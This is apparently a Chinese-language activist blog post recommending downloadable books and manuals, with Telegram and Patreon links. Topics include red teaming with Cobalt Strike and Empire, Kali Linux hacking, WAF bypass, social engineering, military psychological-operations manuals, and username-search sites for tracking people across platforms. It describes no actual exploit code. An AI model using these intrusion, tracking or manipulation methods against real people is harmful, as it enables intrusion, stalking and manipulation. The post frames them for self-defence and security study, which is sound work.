红队运作的实用指南——

Red Teaming 用于通过对组织执行模拟攻击来检测网络安全漏洞和系统漏洞，从而增强安全性。

Hands-On Red Team Tactics 这本书首先概述了渗透测试和红队，然后介绍了一些最新的渗透测试工具，并将帮助您继续探索 Metasploit，并熟悉 Armitage。

学习了基础知识之后，您将了解 Cobalt Strike 的用法以及如何设置 Cobalt Strike 的团队服务器。

这本书将帮助您学习高级的渗透测试工具的用法、通过加密通道获取反向Shell的技术、以及用于后期开发的过程。

除此之外，您还将探索Empire等框架，包括维护持久访问、保持无法追踪、以及通过不同的C2隐蔽通道获得反向连接的方法。

构建自己的红队，是现代公民社会/活动家社区必备的基础设施的一部分。

在这里下载这本书：https://t.me/iyouport/6768

下载：https://www.patreon.com/posts/38155987

9、《Antisocial Media : How Facebook Disconnects Us and Undermines Democracy》

「图」

我们在2017年发表的科幻故事 《绿色兔子》没有被收纳入分类列表。

因为它不属于任何一个类目。

分类列表中的确有 “故事” 栏目，但那里收集的都是中国故事，而且是 **完全真实的故事**，它们来自我们多年来与中国社会各种阶层接触的经验。

而《绿色兔子》是科幻故事，讽刺性的，虚构的。于是没有收集其中。相关故事还有其他，部分没有发表，时间都是2017年。

《绿色兔子》 所讽刺的东西我们已经在2018年的《算法暴政：定制人如何终结民主》一文中作出了分析。

事实上这一问题已经越来越严重，陆续有很多学者发表研究以提出警告：社交网络正在杀死异议、扭曲人性、破坏民主；《异议的消亡：

为什么网络变得同质化》。

我们上传一本去年出版的书，它讲述的也是这个问题。

您可以在这里下载：https://t.me/iyouport/6775

下载：https://www.patreon.com/posts/38159550

最后，不要错过我们的新列表哦！五个：

隐身保护知识和工具：

https://start.me/p/xbYXdR/iyp-1

监视资本主义的世界什么样：

https://start.me/p/RMQrDD/iyp-2

守门人和斗智：

https://start.me/p/nRBzO9/iyp-3

高堡奇人的世界：

https://start.me/p/aL8RrM/iyp-4

Direct Action：

https://start.me/p/1kod2L/iyp-direct-action-5

☞ 建议您使用电脑网页版打开，鼠标悬停在每一个标签上可以看到简介；

如果您使用的是手机，打开上述链接后需要手动点击每一个模块，它们将展开具体内容。

每一个列表是不同的主题，但它们为同一个目标服务。

10、《Collective Intelligence Design Playbook：Tools, tactics and methods to harness the power of people, data and technology to solve global challenges》

「图」

直接行动——

对于科幻故事《绿色兔子》，有读者提到了 umwelt 的概念。那么 umwelt 是什么？

umwelt 是 “在人类（和动物）的交流和指征研究中最关键的生物学基础”。该术语通常被翻译为 “以自我为中心的世界”。

我们每个人都有一个自己的 umwelt，它是一个气泡，人们把自己包裹在里面。这就是为什么我们在没有亲自体验的情况下往往难以深刻理解他人的痛苦、难以彼此间更为深度地沟通，同时，也造成难以合作去实现更大的目标。

人的一生中可能需要学习很多东西，但是，孤独和冷漠不需要学习，它是天生的；

☞ 而协作的能力可不是天生的，协作不仅是一门学问，而且需要每个人克服很大的障碍以突破自己的 **umwelt**，才能实现。

今天我们上传的这份手册它讲述的就是协作的智慧—— 技巧和方法。

☞它是一个模版，帮助构建和激发社区组织和直接行动团队的集体智慧和创新意识。

人们通常在技术的帮助下一起工作，以动员更广泛的信息、思想和见解来应对社会挑战，从而创造了集体智慧。

作为一个想法，它不是新的。它基于这样的理论，即：不同的人组成的群体集体智慧要比任何一个单独的人更聪明。

前提是，智慧是分布式的。不同的人拥有不同的信息和不同的观点，将它们结合在一起，就可以更完整地了解问题、以及找到如何解决问题的方法。

几千年来，人们一直在共同努力；但是，自数字时代开始以来，集体智慧才真正地发展起来。

所以你知道了，这是关于 **直接行动的实践脚本**。您和您的 社区/团队 可以在此基础上更大程度地发挥创造力。

☞ 创造力是21世纪的基本生存法则；直接行动指的是，你想要什么样的世界，那就自己去做出它来。

- 《技术如何塑造21世纪的创造性抗议？》

直接行动远高于抗议—— 在此，人们不再乞求当权者的准许，人们可以亲手实践自己想要的世界—— 在智能镇压时代，也只有直接行动才有希望取得胜利。而不是再仅仅寄希望于上街《超越抗议》。

就如IYP的口头禅：只有技术是民主的，社会才能是民主的。直接行动就是通过将技术民主化，进而将社会民主化的公民自治。

在这里下载这份手册：https://t.me/iyouport/6779

下载：https://www.patreon.com/posts/38159817

11、《When They Come for You: How Police and Government Are Trampling Our Liberties—and How to Take Them Back》

「图」

每一种暴政都有惊人的相似——

《纽约时报》畅销书作家 David Kirby 正在独立媒体做访谈，关于他的新书 《When They Come for You》：关于 警察和政府如何践踏我们的自由—— 以及我们可以如何夺回自由。

这本书揭露了宪法和法律如何形同虚设，政府、警察和官僚利益集团如何掠夺人们的财产、积蓄、甚至孩子；最重要的是，公民如何反击。

他写道：

疯狂的官僚权力几乎没有受到任何控制，无端的当街搜查、对无辜的人的房屋进行特警式突袭、对自由报刊的镇压、对抗议权的剥夺、无故将儿童从父母身边抢走、“债务人监狱”…… 限制健康选择的自由、抢夺私人财产为政府的收益，以及更多惊人的暴行：这表明人民必须反击以赢得胜利。

☞GET反抗精神。

在这里下载这本书：https://t.me/iyouport/6782

下载：https://www.patreon.com/posts/38159945

12、《两篇论文》

「图」

不是监视，而是心理定位；不是偷窥，而是操纵——

人类真的很奇怪。

如果在现实中，一个人陌生人忽然表现出对你非常熟悉的样子，他了解你的私生活、了解你的秘密心理活动，了解你的一切—— 你会不会很害怕？会不会马上亮起红灯并主动提防他？大多数人都会。

但是，在互联网上却完全相反 🤔。人们纷纷对那些 “准确投放” 的 newsfeed 和欺骗性的心理测试小游戏欣喜若狂，不但没有害怕，反而感觉自己 “被理解”了！

是不是很奇怪？

权利倡导者总是在喊 “小心监视！” 不，这句话并不完整；它缺失的重要部分甚至导致了人们只要声称 “我没什么可隐藏的”，就可以完全无视危险。

那么，“小心监视” 有什么不对吗？

☞因为监视不仅仅是监视，而是操纵—— 只要有人发现了你的内心秘密、你的行为习惯模式、你的偏好、你的弱点，他们无疑会利用这些来完全控制你，控制你仅仅能做出那些让他们满意的行为。

直到你完全不知道自己想要什么，你能 *想到* 的都是操纵者希望你想到的。**这才是洗脑**（而不是简单地告诉你应该相信什么）。

这种手段的学名叫 “心理定位”。

大数据时代就是心理定位时代。就算您完全不担心被当权者和任何恶意者了解自己的私密生活和隐藏的心理动态，您也不可能不担心失去自己的人格。但是说实话，如今想要保住人格已经不那么容易了。

☞ 你在这个互联网上所做的一切、每一次滚动、点击、翻页、留

言 …… 都被收集起来以便提取您的心理模型，然后那些想要操纵你以实现他们自己的利益的家伙们，就会花大价钱购买这些数据，以此来控制你。

这些买得起的人中很大一部分是政客、警察和间谍—— 这就是为什么我们认为国际特赦组织报告中表述的 “依靠政府管制监视资本家” 的想法行不通。因为政府就是监视资本主义体制的最大受益人之一。

⚠ 对于 “心理定位” 正在干什么，我们分析过一个比较惊人的例子，见《心理操纵的秘密：”行为经济学”＋PR＝？》您可以在这里回顾。

接下来我们上传两份最新发表的论文，都是今年的，也许能帮助理解这个问题（都不长，很容易读）。如果您再遇到那些 “我没什么可隐藏的” 糊涂人，请把这些知识告诉他们。

下载 1、Privacy in the age of psychological targeting：https://t.me/iyouport/6799

下载 2、Self—disclosureversusself—presentationonsocialmedia：https://t.me/iyouport/6800

下载：https://www.patreon.com/posts/38160078

13、《Kali Linux Hacking: A Complete Step by Step Guide to Learn the Fundamentals of Cyber Security, Hacking, and Penetration Testing. Includes Valuable Basic Networking Concepts》

「图」

开源情报、黑客和社交工程是一体的——

- 您是否想要成为精通网络安全的专家，并对反抗社区薄弱的防御能力非常不满？
- 您是否想要详细了解最实用的所有基本黑客工具？
- 您是否曾在互联网上搜寻理想的资源以开始学习黑客技术，却被大量脱节的信息所淹没？

如果您对以上问题中的任何一个回答为“是”，那么这本书就适合您。

网络攻击和威胁已经变得越来越复杂，组织和个人正在争先恐后地通

过建立防御系统来保护其数字资产免受威胁。在开源黑客工具方面具有实践经验的渗透测试人员和网络安全专业人士如今变得非常抢手。

这是一本功能强大的书中，您将学习到如何掌握用于黑客攻击、渗透和安全测试的标准系统—Kali Linux。

本书假定您对 Kali Linux 和黑客技术一无所知，于是将从头开始解释，并建立起有关如何使用 Kali Linux 和其他开源工具的实用知识，帮您了解成功的渗透测试背后的过程。

以下是您将在 Kali Linux Hacking 中将学到的基本内容：

• 对 “hacking” 和 Kali Linux 概念的简要介绍；

• 从会话劫持和SQL注入到入侵的各种攻击类型、几乎所有钓鱼方式和DOS攻击；

• 为什么黑客不总是坏人？

• 为什么 Kali Linux 是许多业余和专业黑客的首选平台；

• 如何在计算机上设置和安装 Kali Linux 的分步说明；

• 如何掌握 Linux 终端以及您绝对需要了解的基本 Linux 命令；

• 如何使用 Bash 和 Python 成为更好的黑客；

• ……还有更多

这本书是专为初学者设计的，包含了实用的示例和真实演示，用简单易懂的语言进行了解释。

这是今年12月的新书。无论您是刚开始使用黑客技术、希望在反抗社区中拥有更多的安全性，还是正准备在网络安全领域晋升，或者只是想把自己的简历弄好一点以便对雇主更具吸引力；这本书都适合您。

在这里下载：https://t.me/iyouport/6809

下载：https://www.patreon.com/posts/38160197

14、《The Identity Trade: Selling Privacy and Reputation Online》

「图」

浮士德式的交易——

我们在年底的长篇访谈中提到了隐写术的例子。

理论上我们可以在这样的语境下推荐隐写术：即 当一个在线群组讨论审查问题时、并对“发出的内容只有自己可见”而感觉困惑时。

可惜这只是理论上。

事实上，多次测试后的结论却是，对审查*表达*困惑的人并不关心隐写术—— 或者说解决问题的方法；在上述情况下真正关心这一技术的人是目标行动的人。

同样的例子几乎比比皆是。比如匿名技术，几乎不可能向期待成为网红的任何人推荐匿名技术，因为他们需要实名带来的在线声誉，甚至不惜向寡头平台获得蓝V认证。

互联网文化鼓励在线声誉变现，把 “粉丝量＝金钱人脉” 的虚伪价值观缝入每个人的脑子，那只是因为数据是监视资本主义的原油—你提供得越多，他们赚得就越多。

反监视的匿名技术和所谓的在线声誉似乎背道而驰；为了虚无缥缈的“声誉”，人们已经交出了自己的一切。

这是一场浮士德式的交易。

在线声誉，它被吹捧为互联网人身份的重要组成部分—— 一种文化货币。

它需要你用自己全部人权、人格和尊严去兑换。但为什么依旧有如此多的人毫不犹豫？

这就是这本书想要分析的问题之一。

☞The Identity Trade 研究了在线可见度和隐私之间的关系，以及数字时代的身份和自我表现的政治。通过全面梳理你的损失，帮你看清这场魔鬼交易。

在这里下载这本书： https://t.me/iyouport/6823

下载：https://www.patreon.com/posts/38160281

15、《The Chapo Guide to Revolution: A Manifesto Against Logic, Facts, and Reason》

「图」

以段子为武器的黄金时代过去了吗？——

有人说是，也有人不服。尤其是，不服的人真的拿出了证据 ……

如您所知，寡头控制的商业新闻已经遭到越来越多人们的厌弃，在美国，人们更喜欢喜剧秀和脱口秀节目而不是新闻节目，这已经有至少十几年的历史了。因为与一般新闻相比，喜剧秀节目在揭示事件真相——至少是在指出当权者的欺骗性和事件被修饰过的特征方面——有着更为强大的力量。

这其中崛起了一大群以段子为武器的“反抗者”。

Chapo Trap House 是一群政治讽刺作家，他们于2016年3月开始制作喜剧播客。

☞ 他们用讽刺性的、诙谐的语言 *揭露* 情报机构、维稳部门、保安公司的犯罪行为—— 这些腐败政治的产物在其他所有主流媒体的页面中一直被严密地掩盖着。

事实上这不仅仅是一场喧哗；正如著名调查记者 Glenn Greenwald 所言：Chapo 说出了你无法通过其他任何渠道获得的一些最敏锐、最复杂、最发人深省的政治分析。

他们的书在学术上是认真的，而且在分析上也独具匠心，因为它既顽皮又有趣，值得进行大量讨论，并且，不可避免地会引起所有激进和愤怒的反应。

☞是的，它不是您通常能从社交网络上看到的那种肤浅的政治段子，它是一种警示，是一个号角；它的创作基于对政治和社会格外深透的理解。

他们使用的方法类似直接行动策略中的“让隐形可见”。

如果您喜欢尖酸的、敏锐的、有创造力的东西，如果您感到被政治和

文化的噩梦剥夺了权利，也许这本书适合您。

如果您对这个互联网尚未完全丧失信心，也许您可以考虑在本土实践这种反抗艺术—让段子武器升级。

在这里下载这本书：https://t.me/iyouport/6826

下载：https://www.patreon.com/posts/38160672

16、《This is Not Propaganda: Adventures in the War Against Reality》

「图」

谎言的背后—— “这不是宣传”

“世界上最有权势的家伙们比以往任何时候都擅长撒谎；没有人能像 Peter Pomerantev 那样深刻地理解他们的谎言艺术”—— 《Moneyland》的作者奥利弗•布洛（Oliver Bullough）

我们记得几年前，VICE制作的纪录片中有一集讲述特朗普如何上台的背后故事，但是，片中把原因几乎完全归因于 “假新闻”。

这是一个主流论调，不论是特朗普上台还是英国脱欧，都被完全归因于虚假消息的盛行。

不排除虚假消息的影响力，但是，为什么没有人反问：“那些虚假消息如何赢得如此多人心的？而不是真实消息？”

很简单，因为他们说出了大众的内心所想。

换句话说，大众有此想法在先，才会被虚假信息所触动—— 人们认为这些虚假信息恰好 “证实” 了自己的想法；尤其是，大众对那些屈服于审查的主流媒体的普遍厌弃、对政客愈发狡猾的谎言的愤怒。

于是我们认为，将广泛的问题完全归因于虚假信息是不负责任的，特别是，这一盲目的归因还促使寡头技术平台（谷歌、Facebook、和中国的那些）以 “扫除虚假信息/谣言” 为借口，压制不同意见—— 信息末日启示录的 “七骑士”。

互联网让谎言的流行前所未有地容易。政客肆无忌惮地撒谎，却反而每一次都能吸引到最大的关注度，即 我们称之为 “恶意愚蠢” 的东

西，它的泛滥冲走了最重要的知识。

Peter Pomerantsev 试图弄清这个问题。他发现的答案令人惊讶。

一部分是报告文学，一部分是知识分子冒险，这本书是一种类似于 Pynchon 的探索，它探讨了在真相变得混乱之后，我们如何重新构想我们的政治，以及我们自己。

☞顺便说，这很重要《摆脱操纵和宣传：28个长期技巧》，就如我们在年终访谈中所强调的：只要他们的宣传机器被消灭了，他们的所有愿望都会破灭。

再一次：没有国界限制！这些方法在全球通用，任何语种；所有人类操纵者没有区别。

在这里下载这本书：https://t.me/iyouport/6835

下载：https://www.patreon.com/posts/38161141

17、《Chinese Revolutionary Cinema: Propaganda, Aesthetics & Internationalism 1949–1966》

「图」

电影是一种载体，有时，它负责承载那些有钱有权的家伙们想要缝入大众脑子里的东西——

IYP从2017年开始观察到中国的宣传模式出现了一些变化，这是习与其所有前任不同的地方。见《中国政府已攀上景观政治的边缘》。

这个问题比较重要，如果你理解 “进化专制” 意味着什么的话。

但从2017年到现在，我们没有近一步观察到上述发现的深化迹象，这说明当局的 “进化” 是缓慢的，这为大众识别和抵御matrix留出了充分的时间。

要观察到 “变化”/“进化” 的前提是，您首先需要对他们的 “常态” 有充分的了解。相信每一位生活在中国的有足够洞察力的读者都比我们更擅长这点。

如题：“电影是一种载体，有时，它负责承载那些有钱有权的家伙们想要缝入大众脑子里的东西”。它真的起了作用，而且是惊人的。

举个最简单的例子。绝大多数战争并不是关于善恶的，而是地缘政治斗争和博弈，然而，好莱坞总是把战争描述成善恶之争，导致很多人对战争的支持源于当权者声称 “敌方是坏人”。

类似例子比比皆是—— 构建一个严密的**matrix**真的不需要“中宣部”。

去年我们发布了一篇文章 《电影电视究竟是什么？为什么稍有权势的人都想要审查控制文艺创作？》；事实上这个问题在全球存在：当权者把持着所有资源，他们只分配给那些令他们满意的东西，就如在中国，大多数影视从业者都明白 “院线” 意味着什么（意味着sh*t），但仍趋之若鹜。

在中国，这点有着70年的历史。

上面那本书是2019年的新书，它研究了 1949年 ~ 1966年 中国电影在政治宣传方面的能力—— 共产党政府如何将国家宣传重新视为美学实验，不仅从根本上改变了表演、也由此定位了拍摄和编剧。

这些作品起源于中国本土文学，却又纳入了好莱坞的叙述技巧、并借鉴了苏联的蒙太奇理论，精心策划成了一个崭新的迷人的明星文化。

49年后，中国电影期刊迅速投射并重新定义了该国在亚洲、非洲和拉丁美洲的自我形象，因为它们有助于建立现代性和国际主义的另类视野。

作者揭示了 “宣传” 一词的历史偶然性，揭示了视觉、听觉、性、和意识形态方面的动态变化，这些变化引起了世界电影中 “革命英雄主义” 的新美学 ……

不是玩笑，以当前的趋势，中国有可能在未来10年内迎来政客真人秀节目的 “新步伐”。

如果您对这个议题感兴趣，在这里下载这本书：https://t.me/iyouport/6838

下载：https://www.patreon.com/posts/38161195

18、《Hakin9：bypassing web application firewall》

「图」

这是一套打包资料，集合了「Hakin9」杂志上发布的在线课程。除了说明资料之外还包含视频演示资料、练习和最终测试。

如今，Web应用防火墙（WAF）的数量正在增加，这导致渗透测试更加困难。因此，在渗透测试中能够绕过WAF成为必要且非常重要的步骤。

这套资料研究了作为渗透测试一部分的绕过WAF的实用方法，当然还有WAF背后的理论及其工作原理。

您将获得的技能：

– WAF绕过和破解的技术

– WAF强化和保护的技巧

您需要的东西：

– 具有首选操作系统的PC（Mac OSX 10.5 ＋，Windows 7 ＋，Linux）

– 至少4gb的RAM

– 至少10gb可用存储空间的VM

在这里下载这个打包：https://t.me/iyouport/6841

19、《Hacker Highschool：LESSON 9 E-MAIL SECURITY》

「图」

每个人都使用电子邮件。它是互联网上第二大使用量最高的应用程序，仅次于Web浏览器。

但是您可能没有意识到，网络攻击和破坏的很大一部分都是通过电子邮件产生的；

并且，⚠电子邮件地址的敏感性甚至不亚于手机号码—— 我们演示过如何做这件事，如：

《如何侦查电子邮件和电话号码？》

《如何仅仅通过电子邮件挖到你的电话号码？》

《如何只用电子邮件地址追踪到 Twitter 帐户？》

《12个开源情报资源：挖掘电子邮件背后的秘密》

……等等

这里是 Hacker Highschool 第9集，它目的是为您提供有关电子邮件工作方式、安全电子邮件使用、基于电子邮件的攻击、以及电子邮件安全策略的信息。

了解这些知识，可以帮助您更好地防御。

在这里现在这份文档：https://t.me/iyouport/6844

下载：https://www.patreon.com/posts/38187315

20、《Psychological Operations Tactics, Techniques, and Procedures》

「图」

美国陆军 心理战**PSYOP** 操作的策略、技术和程序——

该手册介绍了操作程序、并提供了以系统的、按时间顺序的方式执行五个PSYOP任务和七个PSYOP功能的模板。

☞PSYOP（心理战）是一项计划内的行动，旨在将选定的信息和指标传达给外国目标受众，以影响他们的情绪、动机、客观推理，并最终影响外国政府、组织、团体和个人的行为。

PSYOP 不仅会影响政策和决策，而且还会影响执政能力、指挥能力、战斗意愿、服从意愿和支持意愿。

心理战不仅是特种部队的重头戏，而且是力量倍增的引擎。

IYP的“心理战和信息战”栏目中收集的内容都非常主要，它现在已经独立形成一个分类列表：表3—“斗智”在这里看到（中文的哦）https://start.me/p/nRBzO9/iyp-3

我们上传了 *两份文件*，都是美国陆军和美国政府关于心理战操作指

导的内部资料，它们来自不同年份，其中内容有所不同。这些文件能帮您更好的了解心理战操作。

——这些心理操控手法会被任何国家当权者所使用。希望您能通过这些知识提高警惕性，避免被操纵。（如果您喜欢中文，看IYP的分类列表3就可以）

在这里下载：

1、https://t.me/iyouport/6847

2、https://t.me/iyouport/6848

下载：https://www.patreon.com/posts/38187346

21、《Low tech hacking : street smarts for security professionals》

「图」

您可能不容易遇到那些 “高级灾难”——

你经常能从各种媒体上看到有关最新骇客技术和行为的报道，但如果你长期关注那些东西，很可能会形成虚无主义—尤其是对技术外行来说，这些高级骇客新闻会带来 “一切都是不安全的、我无能为力，于是就爱谁谁吧” 的错误印象。

的确，没有100%的安全，但是，您必须知道，媒体关注的东西都是那些相对独特的、罕见的，简单说一般人不容易遇到的攻击形式。

比如 “无交互” 攻击，逛过零日黑市的人都知道 “无交互” 有多贵（$6～7位数）；除非您是外国政客、大公司关键部门负责人、人权组织高级员工、特别突出的在全球享有盛誉的活动家、政府间谍的高端敌人 …… 否则您一般来说很难遇到那种攻击形式。

☞在现实中，交互式攻击依旧占据绝大部分，作为普通人和相对低调的互联网用户，您最有可能遇到的是这种，而不是主流媒体们热衷报道的那些。这种而不是那种，是有办法防御的，而且防御体系已经相对成熟，只需要您的实践。

所以您无需陷入虚无，只需要努力学习专家建议的 “操作安全” 知

识，您就很有希望抵御绝大部分威胁。

☞您可以在我们的「列表1」的多个栏目中了解到防御方法：https://start.me/p/xbYXdR/iyp-1

交互式攻击的最大特点是它结合人性漏洞，社交工程学在其中发挥很大作用。于是我们经常会强调：安全不仅仅是技术问题，也是心理学问题，防御也必须跨学科才能有效。

☞这就是为什么IYP单独制作了一个列表："斗智"，这其中收集的内容是防御人性漏洞的，在这里：https://start.me/p/nRBzO9/iyp-3

如果您能做到熟悉这两部分内容，大部分坏家伙都不容易伤害到您。

黑客是个听起来高大上的名词，好像专家才能玩？其实不是。有很多黑客技术并不复杂，就算是隔壁老王也可能会玩，只要看几篇文章就可以做到。

也就是说，对您的威胁不一定完全来自政府的秘密骇客组织，还包括一大群莫名其妙的坏家伙。而后者往往不会被大牌媒体关注（我们去年收到3个报告，都是来自中国的遭遇勒索软件的受害者）。

IYP会继续专注于对最日常的防御措施的介绍，也就是帮助您应对那些最容易遇到的威胁。它们的危害性可以很高。

☞今天上传的这本书就是讲述这件事的。这是安全防御类的热门书籍，它的作者都是在渗透测试和相关专业领域工作过多年的专家。

它将为您展示您最可能遇到的威胁、一些内幕知识、以及改善安全状况的详细对策。尤其是无线黑客。

此外，IYP 将在2020年加入"黑客行动主义 hacktivism"相关内容，听过这个概念的人或看过美剧《Mr. Robot》的人都能理解它的意义。于是这本书中介绍的知识应该为更多人所熟悉。

在这里下载这本书：https://t.me/iyouport/6851

下载：https://www.patreon.com/posts/38187564

22、《CIA—PSYCHOLOGICAL OPERATIONS IN GUERRILLA WARFARE》

「图」

游击队战争中的心理行动——

游击战争本质上是一场政治战争。因此，它的行动范围超出了常规战争的领土范围，目标是渗透政治实体本身：亚里士多德所定义的“政治动物”。

实际上，应将人视为政治战争中的优先目标—— 以人为目标；准确说是以人的心理弱点为目标。一旦被击中，将不需要一枪一炮，对手就会投降。

游击战争在政治环境中诞生并发展；在不断的战斗中，是*人*统治着固有的政治思想领域，这些领域共同构成了游击战运动的 “环境”，而这正是其胜利或失败的根本所在。

政治战争中的游击战概念将心理行动变成了胜败的决定性因素。此后，目标是所有人的思想，即 我军、敌军和平民的思想。

☞ 这本书是一本训练游击队员实施心理操纵的手册—— 由中央情报局CIA首次发布。

我们不是想要宣传游击战，而是，正如IYP的口头禅之一：任何一种斗争都是心理战，不论是游击队、实战部队、反叛组织、还是公民抵抗运动。因为战胜人心就能战胜一切。

还记得我们的新列表-3 的简介吗？—— “你的对手有强大的财力和人力，这些你都没有；你能赢过他们的唯一优势是：智慧”。https://start.me/p/nRBzO9/iyp-3

希望这份手册能为大家补充一些灵感。

您可以在这里下载：https://t.me/iyouport/6854

下载：https://www.patreon.com/posts/38187593

23、《The Dark Side of Asia 》

「图」

亚洲的地下社区——

“暗网” 是网络安全和通用技术领域中越来越流行的词汇。越来越多的人安装TOR浏览器并亲自访问黑网。无论您是否访问过暗网，了解网络犯罪分子和不同地下社区如何使用它，都是很重要的，☞这样您就可以利用它作为一个新的强大信息来源。

每个国家都有必须遵守的自己的 “暗网文化” 以及管辖它们的法律。仅仅说一口流利的异国语言还不够，您必须了解每个国家/地区的行话和规则，否则您将被踢出局。

☞ 理解这些差异是开发资源和收集情报而不会被其他用户怀疑的关键。

IYP的 “开源情报” 栏目中已经收集了更多关于如何挖掘暗网资源和情报的工具，并增加了使用暗网的保护性措施和教训的相关知识。

而 👆这份研究报告专注于亚洲的暗网使用，可以帮助您了解日益成熟的亚洲暗网社区的主要趋势、法律、动机和威胁因素。包括中国哦。

您可以正在这里下载：https://t.me/iyouport/6857

下载：https://www.patreon.com/posts/38187632

24、《Getting Started With ATT&CK》

「图」

“对抗战术、技术和常识” 框架——

ATT&CK 模型是根据真实的观察数据来描述和分类对抗行为。

ATT&CK 将已知攻击者行为转换为结构化列表，将这些已知的行为汇总成战术和技术，并通过几个矩阵以及结构化威胁信息表达式（STIX）、指标信息的可信自动化交换（TAXII）来表示。

由于此列表相当全面地呈现了攻击者在攻击网络时所采用的行为，因此对于各种进攻性和防御性度量、表示和其他机制都非常有用。

ATT&CK会详细介绍每一种技术的利用方式，以及为什么了解这项技术对于防御者来说很重要。这极大地帮助了安全人员更快速地了解不熟悉的技术。

这本书是ATT＆CK小组成员撰写的，您将可以从中获得有关ATT＆CK

入门的一些新想法。

您可以在这里下载：https://t.me/iyouport/6860

下载：https://www.patreon.com/posts/38187733

25、对抗性思考

「图」

别便宜坏人——

跨平台追踪方式对于攻击者和侦查/调查者来说都非常有用。比如，你的目标人可能在TA的 Twitter 上保持了足够的防御意识，不会发布有关自己的任何信息，但是，如果你能找到此人的领英、抖音或 Facebook 上的私人账户 …… 可能会完全不同，☞ 那些地方的环境容易促使人们暴露更多的个人信息。

这就是跨平台的意义所在。

IYP已经介绍过一些跨平台追踪的工具和思考方式，今后会继续介绍，只因为，它很危险；并且，它所利用的东西是互联网大众可能最难以避免的东西。我们介绍这些工具和方法是为了帮助您检查自己的漏洞，并领先攻击者一步，修正和弥补它们。

所有防御方法都是如此，你必须站在攻击者的角度上思考，即 采取对抗性的思考方式。

比如，你如何找到一个推特目标人的领英账户？第一步就是，按照用户名搜索。

互联网环境鼓励个人对声誉货币的积累，这就导致了人们下意识地希望将自己的名字（哪怕是化名/笔名）变成一个品牌；于是，跨站使用相同的 化名/笔名/甚至是真名 的现象非常普遍—— 这就为追踪者制造了极大的便利。

有许多开源情报工具和平台都有这个功能。即 以用户名为线索的全网捕捞，比如下面这些：

peekyou.com

searchpof.com

knowem.com

namechk.com

snapdex.com

getpeoplesearch.com/username

match.com/usearch/usearch.aspx

lullar-com-3.appspot.com

checkusernames.com

namecheckr.compeekyou.com

searchpof.com

knowem.com

namechk.com

snapdex.com

getpeoplesearch.com/username

match.com/usearch/usearch.aspx

lullar-com-3.appspot.com

checkusernames.com

namecheckr.com

如果您已经忘记了自己曾经注册过什么平台、注册信息是什么，您可以使用👆这些东西查找自己，把找到的东西尽可能改掉；不再需要的平台尽可能注销它们。简约主义是一种生存智慧。

社交媒体情报是开源情报的重头戏，它以其低技术性和广泛的工具利用，成为大多数初学者的入门课—— 请注意，这其中包括政府间谍。

也就是说，政府间谍不需要投入太多的精力和资源，也可以掌握这种

追踪侦查的方法。于是，你知道，它才是最危险的一种。

也是为什么我们单独发布了《社交媒体情报和反情报工具手册》；要知道，用户名不是唯一的要害。您的简介、您的照片、您的跨平台信息共享、特定偏好、甚至语言风格，都是线索。

您可以使用我们在 “开源情报” 栏目中提供的所有工具检查自己——对抗性思考方式，这是开源情报给普通人的最好的礼物。更多：

- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

26、《The Social Engineer’s Playbook》

「图」

坏蛋工具包——

我们介绍过用于社交工程攻击的主要技术工具，见《侦查和欺骗》。

侦查是几乎是任何一种行动的基础；于是这些工具能用在很多不同的目的上，不论是情报还是反情报。

☞ 今天上传的这本书是一个社交工程工具包—— 其中的内容我们基本都介绍过，您可以在 “社交工程” 栏目中看到。在技术角度上这本书可能更详细。

它是给黑客、社会工程师和安全分析师的实用指南，它可以帮助您构建有效的社交工程攻击计划（渗透测试使用）—— 尤其是，就如我们的专栏所演示的那样，通过帮您了解恶意者会怎么做，以提醒最有效的防御方法。

这本书介绍了各种工具，例如：Maltego，Social Engineer Toolkit，Dradis，Metasploit 和 Kali Linux 等等。

您可以使用它们来检查自己和您所在的组织的漏洞，以便及时修补。

您可以在这里下载：https://t.me/iyouport/6864

下载：https://www.patreon.com/posts/38187835

27、中国、伊朗和美国——

「图」

看到很多中文评论在关注 Suleimani 刺杀事件中提到 “中国的老朋友”。这只是个讽刺，你知道，地缘政治上是没有 “朋友” 的，所有人之间都是利用和被利用的关系。

从北京的角度来看，杀死 Qassem Suleimani 引起的紧张局势上升不是美国和伊朗之间的僵持关系，而是，对中国能源供应和贸易路线的明显和紧迫的危险。

另一个角度，紧张局势加剧或华盛顿领导的针对伊朗的战争将使该国进一步拥抱中国—— 中国已占伊朗能源贸易总量的近三分之一。

由于美国的制裁，这可能在最近有所减少，但是，中国仍在伊朗发挥越来越大的影响力，因为在美国总统唐纳德·特朗普对德黑兰的主要出口产品实施制裁之后，中国是伊朗剩余的 **最大石油购买国**。

中国外交政策负责人愤怒的主要原因是伊朗的石油（而非其他），北京的愿景很清晰，但也应该会意识到任何错误估算的风险。

从中国的能源需求的角度来看，伊朗被视为合作者。对于中国而言，这不是一场 “不是就是” 的游戏。

北京还希望保持与沙特的联系，实际上北京已经增加了从该国的石油进口。在过去的三个月中，中国从沙特的原油进口增长了50%以上，沙特仍保持着其作为中国这个全球最大石油进口国的最大供应国的地位。沙特正在通过中国在炼油、储存和销售方面的合资企业来扩展其主要石油公司 Aramco 的能力。

☞ 在北京看来，当前的紧张局势所涉及的不是美国、伊朗和波斯湾，而是中国和印度洋以及北京的 “一带一路” 倡议。

中国可能没有像以前那样大量进口伊朗石油，但是两国之间的商业和军事联系仍然很重要。

两国在去年八月签署了一项重大石油协议，⚠至关重要的是，中国以自己的货币人民币来支付。

北京方面誓言在石油和交通运输领域对伊朗的投资相当于人民币4000亿元。

人民币的使用将使中国可以回避一些美国对伊朗实施的基于美元的制

裁。甚至沙特也表示将考虑接受人民币用于石油销售。

⚠ 中国还正在考虑另一项计划—— 在伊朗部署5,000名中国士兵，以保护与石油相关的基础设施。

美国在中国解放军驻扎的地面上对伊朗发动袭击？……这甚至可能导致特朗普重新考虑。

中国的战略存在实际上不在海湾地区，而是在其旁边。

阿曼湾不仅将阿曼和伊朗分开，而且将阿曼和巴基斯坦分开。中国几乎已经完成了位于巴基斯坦西南角、靠近伊朗边界的深海港口瓜达尔的最先进设施。这将是通往中国西部的重要运输和供应链。

换句话说，中国实际上是中东的存在。阿曼湾在“一带一路”倡议中将中东、印度次大陆和东亚联合起来。

伊朗是“一带一路”的加油站，也是通往中国的输油管网。

伊朗的管道对中国很重要，因为位于海湾的霍尔木兹海峡和介于马来西亚和印度尼西亚之间的马六甲海峡都是很容易被扼杀的贸易瓶颈。

伊朗主导中亚贸易。这是中国未来的关键。

